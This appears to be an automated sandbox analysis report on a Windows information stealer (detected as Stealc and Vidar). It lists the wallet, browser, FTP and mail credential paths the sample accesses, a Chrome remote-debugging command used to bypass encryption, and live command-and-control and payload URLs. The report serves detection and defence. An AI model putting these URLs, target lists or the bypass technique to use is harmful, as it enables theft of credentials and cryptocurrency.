Source: file.exe, 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1813754900.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1294491681.00000000055C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20C40 sqlite3_bind_zeroblob,	0_2_6CF20C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20D60 sqlite3_bind_parameter_name,	0_2_6CF20D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE48EA0 sqlite3_clear_bindings,	0_2_6CE48EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CF20B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE46410 bind,WSAGetLastError,	0_2_6CE46410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE460B0 listen,WSAGetLastError,	0_2_6CE460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE46070 PR_Listen,	0_2_6CE46070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CE4C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4C030 sqlite3_bind_parameter_count,	0_2_6CE4C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD22D0 sqlite3_bind_blob,	0_2_6CDD22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE463C0 PR_Bind,	0_2_6CE463C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\DocumentsGCBFBGCGIJ.exe	53%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
https://msn.comXIDv10&	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php3D	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllE	100%	Avira URL Cloud	malware
http://185.215.113.206TIFIER=Intel	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phptware	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpa	100%	Avira URL Cloud	malware
http://185.215.113.206rontdesk	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mira-tmc.tm-4.office.com	52.123.243.180	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.66	true	false	high
www.google.com	216.58.208.228	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138119235&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://c.msn.com/c.gif?rnd=1732138119238&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=eecc922ded064b33aac1b2e0c7847c2c&activityId=eecc922ded064b33aac1b2e0c7847c2c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2138C86C89784A28B6BCD8845DB9A64F&MUID=27F5C03F1FAA650B38E3D5021EB364FD	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b2?rn=1732138119238&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27F5C03F1FAA650B38E3D5021EB364FD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138126588&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138127367&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138125592&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1844141390.0000000023E11000.00000004.00000020.00020000.00000000.sdmp, FCFHJKJJJECGDHJJDHDA.0.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllE	file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log1.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
https://www.last.fm/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.11.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
